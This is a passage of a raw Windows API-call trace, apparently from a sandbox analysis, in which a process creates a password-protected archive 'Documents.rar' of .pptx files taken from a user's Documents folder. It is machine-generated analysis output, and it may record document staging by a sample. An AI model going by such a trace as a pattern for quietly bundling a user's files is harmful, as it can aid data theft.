lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.755] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.766] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14310599580) returned 1 [0067.766] GetTickCount () returned 0xa673cb [0067.766] GetTickCount () returned 0xa673cb [0067.766] GetTickCount () returned 0xa673cb [0067.766] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0067.766] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0067.766] GetFocus () returned 0x0 [0067.766] TranslateMessage (lpMsg=0x1cd760) returned 0 [0067.766] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0067.766] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.766] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x8bc) returned 0x250 [0067.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x8e0) returned 0x254 [0067.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x944) returned 0x258 [0067.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x11c) returned 0x25c [0067.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x880) returned 0x260 [0067.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x15c) returned 0x264 [0067.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x3d0) returned 0x268 [0067.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x5a4) returned 0x26c [0067.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x540) returned 0x270 [0067.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x534) returned 0x274 [0067.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9dc) returned 0x278 [0067.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9ec) returned 0x27c [0067.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9f0) returned 0x280 [0067.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb0) returned 0x284 [0067.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x7bc) returned 0x288 [0067.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x210) returned 0x28c [0067.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x864) returned 0x290 [0067.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x870) returned 0x294 [0067.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x844) returned 0x298 [0067.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb84) returned 0x29c [0067.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb7c) returned 0x2a0 [0067.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9b0) returned 0x2a4 [0067.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb8c) returned 0x2a8 [0067.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9ac) returned 0x2ac [0067.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb28) returned 0x2b0 [0067.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x5e0) returned 0x2b4 [0067.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x1c4) returned 0x2b8 [0067.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x688) returned 0x2bc [0067.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x238) returned 0x2c0 [0067.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0xb94) returned 0x2c4 [0067.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x4ac) returned 0x2c8 [0067.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x3aa680, dwCreationFlags=0x0, lpThreadId=0x1cd640 | out: lpThreadId=0x1cd640*=0x9b8) returned 0x2cc [0067.790] ResetEvent (hEvent=0x190) returned 1 [0067.790] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.790] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.791] ResetEvent (hEvent=0x190) returned 1 [0067.791] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.791] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.794] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.794] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.794] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x19 [0067.794] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x81 [0067.794] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xc38) returned 0x3b67770 [0067.794] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.816] CryptProtectMemory (in: pDataIn=0x3a6906, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x3a6906) returned 1 [0067.817] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xa310, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xa310, lpOverlapped=0x0) returned 1 [0067.817] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0067.818] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0067.818] GetFocus () returned 0x0 [0067.818] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0067.818] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0067.818] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.818] SetFilePointer (in: hFile=0x198, lDistanceToMove=25, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x19 [0067.818] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x19 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4a0 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.818] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a4d0, Size=0x48) returned 0x39daf0 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b50 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.818] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a4d0, Size=0x48) returned 0x39db40 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b50 | out: hHeap=0x2e0000) returned 1 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a500 | out: hHeap=0x2e0000) returned 1 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a4d0 | out: hHeap=0x2e0000) returned 1 [0067.818] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a4a0, Size=0x48) returned 0x39daf0 [0067.818] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.818] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x68, lpOverlapped=0x0) returned 1 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4a0 [0067.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x68) returned 0x3a0d10 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.819] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xa391 [0067.819] CloseHandle (hObject=0x1b0) returned 1 [0067.819] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.819] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.819] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.819] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.819] FindFirstFileW (in: lpFileName="0eTc aT.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b150 [0067.819] FindClose (in: hFindFile=0x3b5b150 | out: hFindFile=0x3b5b150) returned 1 [0067.819] CreateFileW (lpFileName="0eTc aT.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\0etc at.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.819] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.819] GetTickCount () returned 0xa673fa [0067.819] GetLastError () returned 0x0 [0067.819] SetLastError (dwErrCode=0x0) [0067.819] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0067.819] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0067.819] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.819] SetWindowTextW (hWnd=0x10282, lpString=" 0%") returned 1 [0067.819] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0067.819] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.819] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.819] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.819] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.820] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="-Rh7mA95EzQMCjv.pptx") returned 20 [0067.820] SetWindowTextW (hWnd=0x10280, lpString="0eTc aT.pptx") returned 1 [0067.820] GetTickCount () returned 0xa673fa [0067.820] UpdateWindow (hWnd=0x10278) returned 1 [0067.820] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.820] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.820] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.820] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.820] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x1bb)) [0067.820] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.820] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14316067883) returned 1 [0067.820] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x18c5b, lpOverlapped=0x0) returned 1 [0067.821] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b8c9b, nNumberOfBytesToRead=0xe73a5, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b8c9b*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.821] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.821] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.821] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39db40 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.821] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39daf0 [0067.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a530 | out: hHeap=0x2e0000) returned 1 [0067.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a500 | out: hHeap=0x2e0000) returned 1 [0067.821] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a4d0, Size=0x48) returned 0x39db40 [0067.821] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.823] GetTickCount () returned 0xa673fa [0067.823] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14316335233) returned 1 [0067.823] GetTickCount () returned 0xa673fa [0067.823] GetTickCount () returned 0xa673fa [0067.823] GetTickCount () returned 0xa673fa [0067.823] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.823] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.823] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.823] ResetEvent (hEvent=0x1a4) returned 1 [0067.823] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.823] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.825] ResetEvent (hEvent=0x1a4) returned 1 [0067.825] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.825] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.834] ResetEvent (hEvent=0x1a4) returned 1 [0067.834] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.834] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.846] GetTickCount () returned 0xa67419 [0067.846] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14318681311) returned 1 [0067.846] GetTickCount () returned 0xa67419 [0067.846] GetTickCount () returned 0xa67419 [0067.846] GetTickCount () returned 0xa67419 [0067.847] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.847] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.847] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.847] ResetEvent (hEvent=0x190) returned 1 [0067.847] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.848] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.848] ResetEvent (hEvent=0x190) returned 1 [0067.848] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.852] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.852] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.852] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.852] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xa391 [0067.852] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xa3f1 [0067.852] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.852] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.852] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.852] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.853] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x18d40, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x18d40, lpOverlapped=0x0) returned 1 [0067.854] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.854] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=41873, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xa391 [0067.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xa391 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a4d0 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.854] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39daf0 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.854] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a500, Size=0x48) returned 0x39db40 [0067.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a500 [0067.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a530 | out: hHeap=0x2e0000) returned 1 [0067.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a500 | out: 